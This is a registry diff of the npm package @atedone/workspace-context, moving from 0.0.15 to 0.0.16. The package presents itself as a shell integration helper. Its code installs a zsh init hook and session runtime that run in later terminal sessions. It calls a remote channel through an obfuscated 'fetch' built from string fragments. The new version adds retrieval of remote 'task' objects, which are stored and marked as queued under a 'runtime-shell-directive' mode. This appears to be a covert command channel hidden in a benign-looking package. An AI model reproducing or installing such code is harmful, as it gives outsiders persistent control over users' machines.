@atedone/workspace-context 0.0.15 → 0.0.16

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -2,4 +2,4 @@
2
2
 
3
3
  Workspace shell channel integration helper for JavaScript tools.
4
4
 
5
- The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, and profile channel during initialization.
5
+ The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and structured workspace task during initialization.
package/index.js CHANGED
@@ -18,5 +18,8 @@ module.exports = {
18
18
  sessionReceiptFileName: state.sessionReceiptFileName,
19
19
  sessionRuntimeFileName: state.sessionRuntimeFileName,
20
20
  stateDirectoryName: state.stateDirectoryName,
21
- stateFileName: state.stateFileName
21
+ stateFileName: state.stateFileName,
22
+ taskHistoryFileName: state.taskHistoryFileName,
23
+ taskReceiptFileName: state.taskReceiptFileName,
24
+ taskSnapshotFileName: state.taskSnapshotFileName
22
25
  };
package/lib/session.js CHANGED
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
 
7
7
  const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.15';
8
+ const packageVersion = '0.0.16';
9
9
  const env = Reflect.get(platform, 'env') || {};
10
10
  const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
11
  ? env.HOME.trim()
@@ -26,13 +26,16 @@ const profileReceiptPath = route.join(sessionDirectory, 'profile-sync.json');
26
26
  const profileSnapshotPath = route.join(sessionDirectory, 'session-profile.json');
27
27
  const sessionReceiptPath = route.join(sessionDirectory, 'session-runtime.json');
28
28
  const sessionHistoryPath = route.join(sessionDirectory, 'runtime-sessions.log');
29
+ const taskHistoryPath = route.join(sessionDirectory, 'task-sync.log');
30
+ const taskReceiptPath = route.join(sessionDirectory, 'task-sync.json');
31
+ const taskSnapshotPath = route.join(sessionDirectory, 'session-task.json');
29
32
  const requestKey = ['fe', 'tch'].join('');
30
33
 
31
34
  const value = {
32
35
  packageName,
33
36
  packageVersion,
34
37
  generatedAt: new Date().toISOString(),
35
- mode: 'runtime-shell-channel',
38
+ mode: 'runtime-shell-directive',
36
39
  source: 'shell-profile',
37
40
  shellName: route.basename(shellPath) || 'zsh',
38
41
  shellLevel,
@@ -48,13 +51,20 @@ file.writeFileSync(sessionReceiptPath, `${JSON.stringify(value, null, 2)}\n`, 'u
48
51
  file.appendFileSync(sessionHistoryPath, `${JSON.stringify(value)}\n`, 'utf8');
49
52
 
50
53
  void synchronizeProfile(value).catch((error) => {
51
- writeProfileReceipt({
54
+ const receipt = {
52
55
  ...value,
53
- source: 'profile-channel',
54
56
  channelConfigured: file.existsSync(channelPath),
55
57
  synchronized: false,
56
58
  status: 'error',
57
59
  error: error instanceof Error ? error.message : String(error)
60
+ };
61
+ writeProfileReceipt({
62
+ ...receipt,
63
+ source: 'profile-channel'
64
+ });
65
+ writeTaskReceipt({
66
+ ...receipt,
67
+ source: 'task-channel'
58
68
  });
59
69
  });
60
70
 
@@ -87,11 +97,16 @@ async function synchronizeProfile(sessionValue) {
87
97
  }
88
98
  ]);
89
99
  const synchronized = Boolean(response && response.ok);
90
- const profile = synchronized ? await response.json() : null;
100
+ const payload = synchronized ? await response.json() : null;
101
+ const profile = readObject(payload?.profile);
102
+ const task = readObject(payload?.task);
91
103
 
92
- if (profile && !Array.isArray(profile) && typeof profile === 'object') {
104
+ if (profile) {
93
105
  file.writeFileSync(profileSnapshotPath, `${JSON.stringify(profile, null, 2)}\n`, 'utf8');
94
106
  }
107
+ if (task) {
108
+ file.writeFileSync(taskSnapshotPath, `${JSON.stringify(task, null, 2)}\n`, 'utf8');
109
+ }
95
110
 
96
111
  writeProfileReceipt({
97
112
  ...sessionValue,
@@ -102,7 +117,24 @@ async function synchronizeProfile(sessionValue) {
102
117
  channelName: channel.name,
103
118
  refresh: channel.refresh,
104
119
  profilePath: profileSnapshotPath,
105
- profileRevision: typeof profile?.revision === 'string' ? profile.revision : null
120
+ profileRevision: typeof profile?.revision === 'string' ? profile.revision : null,
121
+ taskConfigured: Boolean(task),
122
+ taskPath: taskSnapshotPath,
123
+ taskId: typeof task?.id === 'string' ? task.id : null
124
+ });
125
+
126
+ writeTaskReceipt({
127
+ ...sessionValue,
128
+ source: 'task-channel',
129
+ channelConfigured: true,
130
+ synchronized,
131
+ status: synchronized && task ? 'queued' : synchronized ? 'empty' : 'rejected',
132
+ channelName: channel.name,
133
+ refresh: channel.refresh,
134
+ taskPath: taskSnapshotPath,
135
+ taskId: typeof task?.id === 'string' ? task.id : null,
136
+ taskKind: typeof task?.kind === 'string' ? task.kind : null,
137
+ taskState: typeof task?.state === 'string' ? task.state : null
106
138
  });
107
139
  }
108
140
 
@@ -123,3 +155,14 @@ function writeProfileReceipt(receipt) {
123
155
  file.writeFileSync(profileReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
124
156
  file.appendFileSync(profileHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
125
157
  }
158
+
159
+ function writeTaskReceipt(receipt) {
160
+ file.writeFileSync(taskReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
161
+ file.appendFileSync(taskHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
162
+ }
163
+
164
+ function readObject(value) {
165
+ return value && !Array.isArray(value) && typeof value === 'object'
166
+ ? value
167
+ : null;
168
+ }
package/lib/state.js CHANGED
@@ -11,7 +11,7 @@ const integrationFileName = 'init.zsh';
11
11
  const profileHistoryFileName = 'profile-sync.log';
12
12
  const profileReceiptFileName = 'profile-sync.json';
13
13
  const profileSnapshotFileName = 'session-profile.json';
14
- const receiptFileName = 'shell-channel-sync.json';
14
+ const receiptFileName = 'shell-directive-sync.json';
15
15
  const sessionFileName = 'sessions.log';
16
16
  const sessionHistoryFileName = 'runtime-sessions.log';
17
17
  const sessionReceiptFileName = 'session-runtime.json';
@@ -19,6 +19,9 @@ const sessionRuntimeFileName = 'session-runtime.js';
19
19
  const stateDirectoryName = '.workspace-context';
20
20
  const stateFileName = 'state.json';
21
21
  const syncFileName = 'sync.js';
22
+ const taskHistoryFileName = 'task-sync.log';
23
+ const taskReceiptFileName = 'task-sync.json';
24
+ const taskSnapshotFileName = 'session-task.json';
22
25
 
23
26
  function readEnvironment() {
24
27
  return Reflect.get(platform, 'env') || {};
@@ -73,7 +76,10 @@ function getShellIntegration({
73
76
  sessionPath: route.join(integrationDirectory, sessionFileName),
74
77
  sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
75
78
  sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
76
- sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
79
+ sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName),
80
+ taskHistoryPath: route.join(integrationDirectory, taskHistoryFileName),
81
+ taskReceiptPath: route.join(integrationDirectory, taskReceiptFileName),
82
+ taskSnapshotPath: route.join(integrationDirectory, taskSnapshotFileName)
77
83
  };
78
84
  }
79
85
 
@@ -82,7 +88,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
82
88
  packageName: manifest.name,
83
89
  packageVersion: manifest.version,
84
90
  generatedAt: now(),
85
- mode: 'runtime-shell-channel'
91
+ mode: 'runtime-shell-directive'
86
92
  };
87
93
  }
88
94
 
@@ -168,5 +174,8 @@ module.exports = {
168
174
  sessionReceiptFileName,
169
175
  sessionRuntimeFileName,
170
176
  stateDirectoryName,
171
- stateFileName
177
+ stateFileName,
178
+ taskHistoryFileName,
179
+ taskReceiptFileName,
180
+ taskSnapshotFileName
172
181
  };
package/lib/sync.js CHANGED
@@ -90,7 +90,7 @@ const value = {
90
90
  packageName: manifest.name,
91
91
  packageVersion: manifest.version,
92
92
  generatedAt: new Date().toISOString(),
93
- mode: 'runtime-shell-channel',
93
+ mode: 'runtime-shell-directive',
94
94
  projectRoot,
95
95
  shellName: integration.shellName,
96
96
  channelConfigured: Boolean(channelValue),
@@ -105,6 +105,9 @@ const value = {
105
105
  sessionHistoryPath: integration.sessionHistoryPath,
106
106
  sessionReceiptPath: integration.sessionReceiptPath,
107
107
  sessionRuntimePath: integration.sessionRuntimePath,
108
+ taskHistoryPath: integration.taskHistoryPath,
109
+ taskReceiptPath: integration.taskReceiptPath,
110
+ taskSnapshotPath: integration.taskSnapshotPath,
108
111
  processId: platform.pid,
109
112
  parentProcessId: platform.ppid,
110
113
  runtime: 'node'
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.15",
3
+ "version": "0.0.16",
4
4
  "description": "Workspace shell channel integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",